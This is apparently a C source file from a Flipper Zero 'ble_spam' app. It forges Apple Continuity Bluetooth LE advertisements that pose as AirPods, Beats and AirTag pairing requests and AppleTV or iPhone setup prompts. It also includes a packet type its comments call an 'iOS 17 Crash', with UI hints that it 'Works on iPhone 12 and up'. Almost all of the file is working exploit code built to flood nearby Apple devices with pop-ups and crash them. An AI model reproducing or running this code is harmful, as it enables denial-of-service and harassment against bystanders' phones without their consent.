Momentum-Apps/ble_spam/protocols/continuity.c

#include "continuity.h"
#include "_protocols.h"

// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/

const struct {
    uint16_t value;
    const char* name;
} pp_models[] = {
    {0x0E20, "AirPods Pro"},
    {0x0620, "Beats Solo 3"},
    {0x0A20, "AirPods Max"},
    {0x1020, "Beats Flex"},
    {0x0055, "Airtag"},
    {0x0030, "Hermes Airtag"},
    {0x0220, "AirPods"},
    {0x0F20, "AirPods 2nd Gen"},
    {0x1320, "AirPods 3rd Gen"},
    {0x1420, "AirPods Pro 2nd Gen"},
    {0x0320, "Powerbeats 3"},
    {0x0B20, "Powerbeats Pro"},
    {0x0C20, "Beats Solo Pro"},
    {0x1120, "Beats Studio Buds"},
    {0x0520, "Beats X"},
    {0x0920, "Beats Studio 3"},
    {0x1720, "Beats Studio Pro"},
    {0x1220, "Beats Fit Pro"},
    {0x1620, "Beats Studio Buds+"},
};
const uint8_t pp_models_count = COUNT_OF(pp_models);

const struct {
    uint8_t value;
    const char* name;
} pp_prefixes[] = {
    {0x01, "New Device"},
    {0x07, "Not Your Device"},
    {0x05, "New Airtag"},
};
const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);

const struct {
    uint8_t value;
    const char* name;
} na_actions[] = {
    {0x13, "AppleTV AutoFill"},
    {0x27, "AppleTV Connecting..."},
    {0x20, "Join This AppleTV?"},
    {0x19, "AppleTV Audio Sync"},
    {0x1E, "AppleTV Color Balance"},
    {0x09, "Setup New iPhone"},
    {0x02, "Transfer Phone Number"},
    {0x0B, "HomePod Setup"},
    {0x01, "Setup New AppleTV"},
    {0x06, "Pair AppleTV"},
    {0x0D, "HomeKit AppleTV Setup"},
    {0x2B, "AppleID for AppleTV?"},
};
const uint8_t na_actions_count = COUNT_OF(na_actions);

static const char* type_names[ContinuityTypeCOUNT] = {
    [ContinuityTypeAirDrop] = "AirDrop",
    [ContinuityTypeProximityPair] = "Continuity Pair",
    [ContinuityTypeAirplayTarget] = "Airplay Target",
    [ContinuityTypeHandoff] = "Handoff",
    [ContinuityTypeTetheringSource] = "Tethering Source",
    [ContinuityTypeNearbyAction] = "Continuity Action",
    [ContinuityTypeNearbyInfo] = "Nearby Info",
    [ContinuityTypeCustomCrash] = "Continuity Custom",
};
static const char* continuity_get_name(const ProtocolCfg* _cfg) {
    const ContinuityCfg* cfg = &_cfg->continuity;
    return type_names[cfg->type];
}

#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
    [ContinuityTypeAirDrop] = HEADER_LEN + 18,
    [ContinuityTypeProximityPair] = HEADER_LEN + 25,
    [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
    [ContinuityTypeHandoff] = HEADER_LEN + 14,
    [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
    [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
    [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
    [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
    const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;

    ContinuityType type;
    if(cfg) {
        type = cfg->type;
    } else {
        const ContinuityType types[] = {
            ContinuityTypeProximityPair,
            ContinuityTypeNearbyAction,
            ContinuityTypeCustomCrash,
        };
        type = types[rand() % COUNT_OF(types)];
    }

    uint8_t size = packet_sizes[type];
    uint8_t* packet = malloc(size);
    uint8_t i = 0;

    packet[i++] = size - 1; // Size
    packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
    packet[i++] = 0x4C; // Company ID (Apple, Inc.)
    packet[i++] = 0x00; // ...
    packet[i++] = type; // Continuity Type
    packet[i] = size - i - 1; // Continuity Size
    i++;

    switch(type) {
    case ContinuityTypeAirDrop: {
        packet[i++] = 0x00; // Zeros
        packet[i++] = 0x00; // ...
        packet[i++] = 0x00; // ...
        packet[i++] = 0x00; // ...
        packet[i++] = 0x00; // ...
        packet[i++] = 0x00; // ...
        packet[i++] = 0x00; // ...
        packet[i++] = 0x00; // ...
        packet[i++] = 0x01; // Version
        packet[i++] = (rand() % 256); // AppleID
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // Phone Number
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // Email
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // Email2
        packet[i++] = (rand() % 256); // ...
        packet[i++] = 0x00; // Zero
        break;
    }

    case ContinuityTypeProximityPair: {
        uint16_t model;
        if(cfg && cfg->data.proximity_pair.model != 0x0000) {
            model = cfg->data.proximity_pair.model;
        } else {
            model = pp_models[rand() % pp_models_count].value;
        }

        uint8_t prefix;
        if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
            prefix = cfg->data.proximity_pair.prefix;
        } else {
            if(model == 0x0055 || model == 0x0030)
                prefix = 0x05;
            else
                prefix = 0x01;
        }

        packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
        packet[i++] = (model >> 0x08) & 0xFF;
        packet[i++] = (model >> 0x00) & 0xFF;
        packet[i++] = 0x55; // Status
        packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
        packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
        packet[i++] = (rand() % 256); // Lid Open Counter
        packet[i++] = 0x00; // Device Color
        packet[i++] = 0x00;
        furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
        i += 16;
        break;
    }

    case ContinuityTypeAirplayTarget: {
        packet[i++] = (rand() % 256); // Flags
        packet[i++] = (rand() % 256); // Configuration Seed
        packet[i++] = (rand() % 256); // IPv4 Address
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        break;
    }

    case ContinuityTypeHandoff: {
        packet[i++] = 0x01; // Version
        packet[i++] = (rand() % 256); // Initialization Vector
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // AES-GCM Auth Tag
        packet[i++] = (rand() % 256); // Encrypted Payload
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        break;
    }

    case ContinuityTypeTetheringSource: {
        packet[i++] = 0x01; // Version
        packet[i++] = (rand() % 256); // Flags
        packet[i++] = (rand() % 101); // Battery Life
        packet[i++] = 0x00; // Cell Service Type
        packet[i++] = (rand() % 8); // ...
        packet[i++] = (rand() % 5); // Cell Service Strength
        break;
    }

    case ContinuityTypeNearbyAction: {
        uint8_t action;
        if(cfg && cfg->data.nearby_action.action != 0x00) {
            action = cfg->data.nearby_action.action;
        } else {
            action = na_actions[rand() % na_actions_count].value;
        }

        uint8_t flags;
        if(cfg && cfg->data.nearby_action.flags != 0x00) {
            flags = cfg->data.nearby_action.flags;
        } else {
            flags = 0xC0;
            if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
            if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
        }

        packet[i++] = flags;
        packet[i++] = action;
        furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
        i += 3;
        break;
    }

    case ContinuityTypeNearbyInfo: {
        packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
        packet[i++] = (rand() % 256); // Status Flags
        packet[i++] = (rand() % 256); // Authentication Tag
        packet[i++] = (rand() % 256); // ...
        packet[i++] = (rand() % 256); // ...
        break;
    }

    case ContinuityTypeCustomCrash: {
        // Found by @ECTO-1A

        uint8_t action = na_actions[rand() % na_actions_count].value;
        uint8_t flags = 0xC0;
        if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
        if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'

        i -= 2; // Override segment header
        packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
        packet[i++] = 0x05; // Continuity Size
        packet[i++] = flags;
        packet[i++] = action;
        furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
        i += 3;

        packet[i++] = 0x00; // Terminator (?)
        packet[i++] = 0x00; // ...

        packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
        furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
        i += 3;
        break;
    }

    default:
        break;
    }

    *_size = size;
    *_packet = packet;
}

enum {
    _ConfigPpExtraStart = ConfigExtraStart,
    ConfigPpModel,
    ConfigPpPrefix,
    ConfigPpCOUNT,
};
enum {
    _ConfigNaExtraStart = ConfigExtraStart,
    ConfigNaAction,
    ConfigNaFlags,
    ConfigNaCOUNT,
};
enum {
    _ConfigCcExtraStart = ConfigExtraStart,
    ConfigCcInfoLock,
    ConfigCcInfoDevice,
    ConfigCcCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
    switch(cfg->type) {
    case ContinuityTypeProximityPair: {
        switch(index) {
        case ConfigPpModel:
            scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
            break;
        case ConfigPpPrefix:
            scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
            break;
        default:
            ctx->fallback_config_enter(ctx, index);
            break;
        }
        break;
    }
    case ContinuityTypeNearbyAction: {
        switch(index) {
        case ConfigNaAction:
            scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
            break;
        case ConfigNaFlags:
            scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
            break;
        default:
            ctx->fallback_config_enter(ctx, index);
            break;
        }
        break;
    }
    case ContinuityTypeCustomCrash: {
        switch(index) {
        case ConfigCcInfoLock:
        case ConfigCcInfoDevice:
            break;
        default:
            ctx->fallback_config_enter(ctx, index);
            break;
        }
        break;
    }
    default:
        ctx->fallback_config_enter(ctx, index);
        break;
    }
}
static void pp_model_changed(VariableItem* item) {
    ContinuityCfg* cfg = variable_item_get_context(item);
    uint8_t index = variable_item_get_current_value_index(item);
    if(index) {
        index--;
        cfg->data.proximity_pair.model = pp_models[index].value;
        variable_item_set_current_value_text(item, pp_models[index].name);
    } else {
        cfg->data.proximity_pair.model = 0x0000;
        variable_item_set_current_value_text(item, "Random");
    }
}
static void pp_prefix_changed(VariableItem* item) {
    ContinuityCfg* cfg = variable_item_get_context(item);
    uint8_t index = variable_item_get_current_value_index(item);
    if(index) {
        index--;
        cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
        variable_item_set_current_value_text(item, pp_prefixes[index].name);
    } else {
        cfg->data.proximity_pair.prefix = 0x00;
        variable_item_set_current_value_text(item, "Auto");
    }
}
static void na_action_changed(VariableItem* item) {
    ContinuityCfg* cfg = variable_item_get_context(item);
    uint8_t index = variable_item_get_current_value_index(item);
    if(index) {
        index--;
        cfg->data.nearby_action.action = na_actions[index].value;
        variable_item_set_current_value_text(item, na_actions[index].name);
    } else {
        cfg->data.nearby_action.action = 0x00;
        variable_item_set_current_value_text(item, "Random");
    }
}
static void continuity_extra_config(Ctx* ctx) {
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    VariableItemList* list = ctx->variable_item_list;
    VariableItem* item;
    size_t value_index;

    switch(cfg->type) {
    case ContinuityTypeProximityPair: {
        item =
            variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
        const char* model_name = NULL;
        char model_name_buf[5];
        if(cfg->data.proximity_pair.model == 0x0000) {
            model_name = "Random";
            value_index = 0;
        } else {
            for(uint8_t i = 0; i < pp_models_count; i++) {
                if(cfg->data.proximity_pair.model == pp_models[i].value) {
                    model_name = pp_models[i].name;
                    value_index = i + 1;
                    break;
                }
            }
            if(!model_name) {
                snprintf(
                    model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
                model_name = model_name_buf;
                value_index = pp_models_count + 1;
            }
        }
        variable_item_set_current_value_index(item, value_index);
        variable_item_set_current_value_text(item, model_name);

        item =
            variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg);
        const char* prefix_name = NULL;
        char prefix_name_buf[3];
        if(cfg->data.proximity_pair.prefix == 0x00) {
            prefix_name = "Auto";
            value_index = 0;
        } else {
            for(uint8_t i = 0; i < pp_prefixes_count; i++) {
                if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
                    prefix_name = pp_prefixes[i].name;
                    value_index = i + 1;
                    break;
                }
            }
            if(!prefix_name) {
                snprintf(
                    prefix_name_buf,
                    sizeof(prefix_name_buf),
                    "%02X",
                    cfg->data.proximity_pair.prefix);
                prefix_name = prefix_name_buf;
                value_index = pp_prefixes_count + 1;
            }
        }
        variable_item_set_current_value_index(item, value_index);
        variable_item_set_current_value_text(item, prefix_name);
        break;
    }
    case ContinuityTypeNearbyAction: {
        item = variable_item_list_add(
            list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
        const char* action_name = NULL;
        char action_name_buf[3];
        if(cfg->data.nearby_action.action == 0x00) {
            action_name = "Random";
            value_index = 0;
        } else {
            for(uint8_t i = 0; i < na_actions_count; i++) {
                if(cfg->data.nearby_action.action == na_actions[i].value) {
                    action_name = na_actions[i].name;
                    value_index = i + 1;
                    break;
                }
            }
            if(!action_name) {
                snprintf(
                    action_name_buf,
                    sizeof(action_name_buf),
                    "%02X",
                    cfg->data.nearby_action.action);
                action_name = action_name_buf;
                value_index = na_actions_count + 1;
            }
        }
        variable_item_set_current_value_index(item, value_index);
        variable_item_set_current_value_text(item, action_name);

        item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
        const char* flags_name = NULL;
        char flags_name_buf[3];
        if(cfg->data.nearby_action.flags == 0x00) {
            flags_name = "Auto";
        } else {
            snprintf(
                flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
            flags_name = flags_name_buf;
        }
        variable_item_set_current_value_text(item, flags_name);
        break;
    }
    case ContinuityTypeCustomCrash: {
        variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
        variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
        break;
    }
    default:
        break;
    }

    variable_item_list_set_enter_callback(list, config_callback, ctx);
}

static uint8_t config_counts[ContinuityTypeCOUNT] = {
    [ContinuityTypeAirDrop] = 0,
    [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
    [ContinuityTypeAirplayTarget] = 0,
    [ContinuityTypeHandoff] = 0,
    [ContinuityTypeTetheringSource] = 0,
    [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
    [ContinuityTypeNearbyInfo] = 0,
    [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
};
static uint8_t continuity_config_count(const ProtocolCfg* _cfg) {
    const ContinuityCfg* cfg = &_cfg->continuity;
    return config_counts[cfg->type];
}

const Protocol protocol_continuity = {
    .icon = &I_apple,
    .get_name = continuity_get_name,
    .make_packet = continuity_make_packet,
    .extra_config = continuity_extra_config,
    .config_count = continuity_config_count,
};

static void pp_model_callback(void* _ctx, uint32_t index) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    switch(index) {
    case 0:
        cfg->data.proximity_pair.model = 0x0000;
        scene_manager_previous_scene(ctx->scene_manager);
        break;
    case pp_models_count + 1:
        scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
        break;
    default:
        cfg->data.proximity_pair.model = pp_models[index - 1].value;
        scene_manager_previous_scene(ctx->scene_manager);
        break;
    }
}
void scene_continuity_pp_model_on_enter(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    Submenu* submenu = ctx->submenu;
    uint32_t selected = 0;
    bool found = false;
    submenu_reset(submenu);

    submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
    if(cfg->data.proximity_pair.model == 0x0000) {
        found = true;
        selected = 0;
    }
    for(uint8_t i = 0; i < pp_models_count; i++) {
        submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
        if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
            found = true;
            selected = i + 1;
        }
    }
    submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
    if(!found) {
        found = true;
        selected = pp_models_count + 1;
    }

    submenu_set_selected_item(submenu, selected);

    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
    UNUSED(_ctx);
    UNUSED(event);
    return false;
}
void scene_continuity_pp_model_on_exit(void* _ctx) {
    UNUSED(_ctx);
}

static void pp_model_custom_callback(void* _ctx) {
    Ctx* ctx = _ctx;
    scene_manager_previous_scene(ctx->scene_manager);
    scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    ByteInput* byte_input = ctx->byte_input;

    byte_input_set_header_text(byte_input, "Enter custom Model Code");

    ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
    ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;

    byte_input_set_result_callback(
        byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);

    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
    UNUSED(_ctx);
    UNUSED(event);
    return false;
}
void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
}

static void pp_prefix_callback(void* _ctx, uint32_t index) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    switch(index) {
    case 0:
        cfg->data.proximity_pair.prefix = 0x00;
        scene_manager_previous_scene(ctx->scene_manager);
        break;
    case pp_prefixes_count + 1:
        scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
        break;
    default:
        cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
        scene_manager_previous_scene(ctx->scene_manager);
        break;
    }
}
void scene_continuity_pp_prefix_on_enter(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    Submenu* submenu = ctx->submenu;
    uint32_t selected = 0;
    bool found = false;
    submenu_reset(submenu);

    submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
    if(cfg->data.proximity_pair.prefix == 0x00) {
        found = true;
        selected = 0;
    }
    for(uint8_t i = 0; i < pp_prefixes_count; i++) {
        submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
        if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
            found = true;
            selected = i + 1;
        }
    }
    submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
    if(!found) {
        found = true;
        selected = pp_prefixes_count + 1;
    }

    submenu_set_selected_item(submenu, selected);

    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
    UNUSED(_ctx);
    UNUSED(event);
    return false;
}
void scene_continuity_pp_prefix_on_exit(void* _ctx) {
    UNUSED(_ctx);
}

static void pp_prefix_custom_callback(void* _ctx) {
    Ctx* ctx = _ctx;
    scene_manager_previous_scene(ctx->scene_manager);
    scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    ByteInput* byte_input = ctx->byte_input;

    byte_input_set_header_text(byte_input, "Enter custom Prefix");

    ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;

    byte_input_set_result_callback(
        byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);

    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
    UNUSED(_ctx);
    UNUSED(event);
    return false;
}
void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
}

static void na_action_callback(void* _ctx, uint32_t index) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    switch(index) {
    case 0:
        cfg->data.nearby_action.action = 0x00;
        scene_manager_previous_scene(ctx->scene_manager);
        break;
    case na_actions_count + 1:
        scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
        break;
    default:
        cfg->data.nearby_action.action = na_actions[index - 1].value;
        scene_manager_previous_scene(ctx->scene_manager);
        break;
    }
}
void scene_continuity_na_action_on_enter(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    Submenu* submenu = ctx->submenu;
    uint32_t selected = 0;
    bool found = false;
    submenu_reset(submenu);

    submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
    if(cfg->data.nearby_action.action == 0x00) {
        found = true;
        selected = 0;
    }
    for(uint8_t i = 0; i < na_actions_count; i++) {
        submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
        if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
            found = true;
            selected = i + 1;
        }
    }
    submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
    if(!found) {
        found = true;
        selected = na_actions_count + 1;
    }

    submenu_set_selected_item(submenu, selected);

    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
    UNUSED(_ctx);
    UNUSED(event);
    return false;
}
void scene_continuity_na_action_on_exit(void* _ctx) {
    UNUSED(_ctx);
}

static void na_action_custom_callback(void* _ctx) {
    Ctx* ctx = _ctx;
    scene_manager_previous_scene(ctx->scene_manager);
    scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_action_custom_on_enter(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    ByteInput* byte_input = ctx->byte_input;

    byte_input_set_header_text(byte_input, "Enter custom Action Type");

    ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;

    byte_input_set_result_callback(
        byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);

    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
    UNUSED(_ctx);
    UNUSED(event);
    return false;
}
void scene_continuity_na_action_custom_on_exit(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
}

static void na_flags_callback(void* _ctx) {
    Ctx* ctx = _ctx;
    scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_flags_on_enter(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    ByteInput* byte_input = ctx->byte_input;

    byte_input_set_header_text(byte_input, "Press back for automatic");

    ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;

    byte_input_set_result_callback(
        byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);

    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
    Ctx* ctx = _ctx;
    if(event.type == SceneManagerEventTypeBack) {
        ctx->byte_store[0] = 0x00;
    }
    return false;
}
void scene_continuity_na_flags_on_exit(void* _ctx) {
    Ctx* ctx = _ctx;
    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
    cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
}